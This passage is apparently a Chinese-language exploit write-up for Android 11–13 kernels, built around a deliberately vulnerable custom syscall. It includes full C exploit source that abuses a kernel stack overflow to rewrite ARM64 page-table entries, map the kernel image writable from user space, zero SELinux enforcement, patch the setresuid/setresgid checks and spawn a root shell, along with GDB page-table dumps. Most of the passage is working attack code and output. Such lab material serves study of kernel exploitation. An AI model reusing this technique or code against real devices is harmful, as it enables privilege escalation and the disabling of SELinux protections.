// #define RE_MAP_ADDR 0xFFFFFFC500000000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC008000000

unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC00A466000; // in android11 there is a swapper_pg_dir symbol

unsigned long remap_addr_pte = 0xffffff807fff8330; // linear addr space
unsigned long remap_addr_dblock_addr = 0xffffff8002666840;


unsigned long d_block_addr;
unsigned long d_block;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN

printf("d_block = 0x%lx\n", d_block);
}

int main(){
printf("1\n");
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

char* buf = mmap(0x60000000, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if( buf == (void*)-1) err("mmap() thread");
memset(buf, 0x0, 0x1000);

char* read_buf = buf + (0x1000-0x9b0);
k_stackof_read(read_buf, 0x9b0);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte; // remap_addr_pte;
hexdump(read_buf, 0x9b0);

/*0x42666743*/
int write_size = 0x9b0+0x13;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+1;
write_size = 0x9b0+0x37;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+2;
write_size = 0x9b0+0x36;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+3;
write_size = 0x9b0+0x12;
k_stackof_write(read_buf,write_size);

//
*(unsigned long*)remap_addr_dblock_addr = d_block; // make 0xfffffffc20000000 <--> phys_0


// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC00AA2FB88; // android11上是selinux_state+1的位置,而android12上又无需加1
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x200000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(char*)selinux_enforcing_addr_new = 0x0;
// printf("selinux_enforcing_addr_new content: 0x%lx\n", *(char*)selinux_enforcing_addr_new);
/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC00815E214;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x200000 + (setresuid_if_addr - IMAGE_BASE);
printf("setresuid_if_addr_new: 0x%lx\n",setresuid_if_addr_new);
*(char *)(setresuid_if_addr_new+3) = 0xB5;
// printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new); // 为什么加这个打印会报bus error的错??

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC00815E4E8;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x200000 + (setresgid_if_addr - IMAGE_BASE);
printf("setresgid_if_addr_new: 0x%lx\n",setresgid_if_addr_new);
*(char *)(setresgid_if_addr_new+3) = 0xB5;
// printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

printf("setresuid\n");
setresuid(0,0,0);
printf("setresgid\n");
setresgid(0,0,0);
printf("/system/bin/sh\n");
system("/system/bin/sh");

printf("exit\n");

return 0;
}

android 13

内核版本:linux 5.15.78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# cat /proc/iomem
[...]
40000000-bfffffff : System RAM
40210000-4299ffff : Kernel code
429a0000-42bfffff : reserved
42c00000-42eeffff : Kernel data
47fff000-48444fff : reserved
48600000-4860ffff : reserved
ad400000-bf9fffff : reserved
bfa1d000-bfa9cfff : reserved
bfa9d000-bfb9dfff : reserved
bfb9e000-bfbd7fff : reserved
bfbda000-bfbdcfff : reserved
bfbdd000-bfbddfff : reserved
bfbde000-bfbfefff : reserved
bfbff000-bfc09fff : reserved
bfc0a000-bfffffff : reserved
[...]

利用方法同android 11/12,将 0xffffffc200000000 对应的一级页表项设置成 d_block,让用户态可以任意读写内核image。

  1. 该一级页表项对应两处地址

    一处是在 swapper_pg_dir 中的偏移

    1
    2
    gef➤  x/2gx 0xFFFFFFC00A79F000+0x840
    0xffffffc00a79f840 <swapper_pg_dir+2112>: 0x00680081c0000701 0x0068008200000701

    一处是在线性映射区中的偏移

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 偏移
    >>> hex(0xffffffc00a79f840 - 0xFFFFFFC008010000+ 0x210000)
    '0x299f840'

    # 线性映射区在0xFFFFFF8000000000
    # 对应页表项也映射到了虚拟地址 0xffffff800299f840 处
    gef➤ x/2gx 0xFFFFFF8000000000+0x299f840
    0xffffff800299f840: 0x00680081c0000701 0x0068008200000701

    40000000-bfffffff : System RAM
    40210000-4299ffff : Kernel code # 从image的_stext开始映射,对应虚拟地址0xFFFFFFC008010000
    429a0000-42bfffff : reserved
    42c00000-42eeffff : Kernel data

    通过线性映射区可以接着调试查看二级页表,三级页表。由于 0xffffff800299f840处是只读的,我们考虑将 0xffffff800299f000对应的页表项设置成用户态和内核态可读写的状态,这样就可以在用户态写一级页表了。

  2. 0xffffff800299f000地址对应的物理页表项

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    0xffffff800299f000
    11111111 11111111 11111111 10000000 00000010 10011001 11110000 00000000
    0级页表未使用
    1级页表偏移:0000000 00 - 0*8
    2级页表偏移:000010 100 - 20*8=0xa0
    3级页表偏移:11001 1111 - 415*8=0xcf8

    gef➤ x/20gx 0xFFFFFF8000000000+0x299f840
    0xffffff800299f840: 0x00680081c0000701 0x0068008200000701
    0xffffff800299f850: 0x0068008240000701 0x0068008280000701
    0xffffff800299f860: 0x00680082c0000701 0x0068008300000701
    0xffffff800299f870: 0x0068008340000701 0x0068008380000701
    0xffffff800299f880: 0x00680083c0000701 0x0000000000000000
    0xffffff800299f890: 0x0000000000000000 0x0000000000000000
    0xffffff800299f8a0: 0x0000000000000000 0x0000000000000000
    0xffffff800299f8b0: 0x0000000000000000 0x0000000000000000
    0xffffff800299f8c0: 0x0000000000000000 0x0000000000000000
    0xffffff800299f8d0: 0x0000000000000000 0x0000000000000000
    gef➤ x/20gx 0xFFFFFF8000000000+0x299f000
    0xffffff800299f000: 0x18000000bfff9003 0x18000000bfe0a003
    0xffffff800299f010: 0x0000000000000000 0x0000000000000000
    0xffffff800299f020: 0x0000000000000000 0x0000000000000000
    0xffffff800299f030: 0x0000000000000000 0x0000000000000000
    0xffffff800299f040: 0x0000000000000000 0x0000000000000000
    0xffffff800299f050: 0x0000000000000000 0x0000000000000000
    0xffffff800299f060: 0x0000000000000000 0x0000000000000000
    0xffffff800299f070: 0x0000000000000000 0x0000000000000000
    0xffffff800299f080: 0x0000000000000000 0x0000000000000000
    0xffffff800299f090: 0x0000000000000000 0x0000000000000000
    gef➤ x/20gx 0xFFFFFF8000000000+(0xbfff9000-0x40000000)+0xa0
    0xffffff807fff90a0: 0x18000000bfff6003 0x18000000bfff5003
    0xffffff807fff90b0: 0x18000000bfff4003 0x18000000bfff3003
    0xffffff807fff90c0: 0x18000000bfff2003 0x18000000bfff1003
    0xffffff807fff90d0: 0x18000000bfff0003 0x18000000bffef003
    0xffffff807fff90e0: 0x18000000bffee003 0x18000000bffed003
    0xffffff807fff90f0: 0x18000000bffec003 0x18000000bffeb003
    0xffffff807fff9100: 0x18000000bffea003 0x18000000bffe9003
    0xffffff807fff9110: 0x18000000bffe8003 0x18000000bffe7003
    0xffffff807fff9120: 0x18000000bffe6003 0x18000000bffe5003
    0xffffff807fff9130: 0x18000000bffe4003 0x18000000bffe3003
    gef➤ x/20gx 0xFFFFFF8000000000+(0xbfff6000-0x40000000)+0xcf8
    0xffffff807fff6cf8: 0x006000004299f783 0x00680000429a0707
    0xffffff807fff6d08: 0x00680000429a1707 0x00680000429a2707
    0xffffff807fff6d18: 0x00680000429a3707 0x00680000429a4707
    0xffffff807fff6d28: 0x00680000429a5707 0x00680000429a6707
    0xffffff807fff6d38: 0x00680000429a7707 0x00680000429a8707
    0xffffff807fff6d48: 0x00680000429a9707 0x00680000429aa707
    0xffffff807fff6d58: 0x00680000429ab707 0x00680000429ac707
    0xffffff807fff6d68: 0x00680000429ad707 0x00680000429ae707
    0xffffff807fff6d78: 0x00680000429af707 0x00680000429b0707
    0xffffff807fff6d88: 0x00680000429b1707 0x00680000429b2707

    # 0xffffff807fff6cf8 处就是 0xffffff800299f000 虚拟地址对应的页表项
    # 0x783:0111 1000 0011 - bit[7:6]表示仅内核态可读
    # 0x743:0111 0100 0011 - bit[7:6]表示用户态和内核态可读写

    gef➤ monitor xp /20gx 0x4299f000
    000000004299f000: 0x18000000bfff9003 0x18000000bfe0a003
    000000004299f010: 0x0000000000000000 0x0000000000000000
    000000004299f020: 0x0000000000000000 0x0000000000000000
    000000004299f030: 0x0000000000000000 0x0000000000000000
    000000004299f040: 0x0000000000000000 0x0000000000000000
    000000004299f050: 0x0000000000000000 0x0000000000000000
    000000004299f060: 0x0000000000000000 0x0000000000000000
    000000004299f070: 0x0000000000000000 0x0000000000000000
    000000004299f080: 0x0000000000000000 0x0000000000000000
    000000004299f090: 0x0000000000000000 0x0000000000000000
  3. 写物理页表项

    将虚拟地址 0xffffff807fff6cf8 处写成 0x006000004299f743 ,使 0xffffff800299f000 这个页面用户态可读写,那么就能将我们精心构造的d_block写入 0xffffff800299f840 中,从而达到任意读写内核image的目的了。

本地root shell

image-20230906145136302

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601

unsigned long arg1, arg2;

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
// printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}


#define IMAGE_PHYS_ADDR 0x40210000
// #define RE_MAP_ADDR 0xFFFFFFC500000000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC008000000

unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC00A79F000; // in android11 there is a swapper_pg_dir symbol

unsigned long remap_addr_pte = 0xffffff807fff6cf8; // linear addr space
unsigned long remap_addr_dblock_addr = 0xffffff800299f840;


unsigned long d_block_addr;
unsigned long d_block;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

int main(){
printf("1\n");
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

char* buf = mmap(0x60000000, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if( buf == (void*)-1) err("mmap() thread");
memset(buf, 0x0, 0x1000);

char* read_buf = buf + (0x1000-0x9b0);
k_stackof_read(read_buf, 0x9b0);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte; // remap_addr_pte;
hexdump(read_buf, 0x9b0);

/*0x4299f743*/
int write_size = 0x9b0+0x13;
k_stackof_write(read_buf,write_size);


*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+1;
write_size = 0x9b0+0xc7;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+2;
write_size = 0x9b0+0x69;
k_stackof_write(read_buf,write_size);

*((unsigned long*)&read_buf[0x970]) = remap_addr_pte+3;
write_size = 0x9b0+0x12;
k_stackof_write(read_buf,write_size);

//
*(unsigned long*)remap_addr_dblock_addr = d_block; // make 0xfffffffc20000000 <--> phys_0


// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC00ACAD8E0; // android11上是selinux_state+1的位置,而android12上又无需加1
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x200000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(char*)selinux_enforcing_addr_new = 0x0;
// printf("selinux_enforcing_addr_new content: 0x%lx\n", *(char*)selinux_enforcing_addr_new);
/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC00815F258;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x200000 + (setresuid_if_addr - IMAGE_BASE);
printf("setresuid_if_addr_new: 0x%lx\n",setresuid_if_addr_new);
*(char *)(setresuid_if_addr_new+3) = 0xB5;
// printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new); // 为什么加这个打印会报bus error的错??

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC00815F62C;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x200000 + (setresgid_if_addr - IMAGE_BASE);
printf("setresgid_if_addr_new: 0x%lx\n",setresgid_if_addr_new);
*(char *)(setresgid_if_addr_new+3) = 0xB5;
// printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

printf("setresuid\n");
setresuid(0,0,0);
printf("setresgid\n");
setresgid(0,0,0);
printf("/system/bin/sh\n");
system("/system/bin/sh");

printf("exit\n");

return 0;
}